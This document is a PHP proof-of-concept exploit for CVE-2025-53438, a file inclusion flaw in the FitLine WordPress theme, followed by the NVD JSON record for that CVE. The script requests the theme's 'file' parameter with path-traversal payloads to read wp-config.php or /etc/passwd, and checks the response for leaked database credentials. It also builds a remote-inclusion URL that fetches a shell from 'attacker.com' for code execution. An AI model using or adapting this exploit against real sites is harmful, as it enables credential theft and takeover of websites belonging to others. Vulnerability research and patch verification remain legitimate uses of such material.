CVE-2025-53438

<?php /** * CVE-2025-53438 PoC - FitLine Theme Local File Inclusion * Usage: php poc.php <target_url> [payload_file] * Example: php poc.php http://target.com /etc/passwd */ $target = $argv[1] ?? ''; $payload = $argv[2] ?? '../../../wp-config.php'; if (empty($target)) { echo "Usage: php poc.php <target_url> [payload_path]\n"; echo "Example: php poc.php http://victim.com /etc/passwd\n"; exit(1); } // LFI payload - read local files $lfiUrl = $target . '/wp-content/themes/fitline/?file=' . urlencode($payload); echo "[*] Testing Local File Inclusion...\n"; echo "[*] Target: $lfiUrl\n"; // RFI payload - remote code execution (if allow_url_include=On) $rfiPayload = 'http://attacker.com/shell.txt'; $rfiUrl = $target . '/wp-content/themes/fitline/?file=' . urlencode($rfiPayload); echo "\n[*] Remote File Inclusion URL (if allow_url_include=On):\n"; echo "[*] $rfiUrl\n"; // Test using curl $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $lfiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "\n[+] HTTP Status: $httpCode\n"; if (strpos($response, '<?php') !== false || strpos($response, 'DB_') !== false) { echo "[+] VULNERABLE! Sensitive data leaked.\n"; } else { echo "[-] Response received, manual inspection needed.\n"; } ?>

{"cve": {"id": "CVE-2025-53438", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:54.247", "lastModified": "2026-01-20T15:16:56.883", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes FitLine fitline allows PHP Local File Inclusion.This issue affects FitLine: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:fitline:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.6", "matchCriteriaId": "3FDA488C-F508-4187-B181-D32C17CA25A7"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/fitline/vulnerability/wordpress-fitline-theme-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}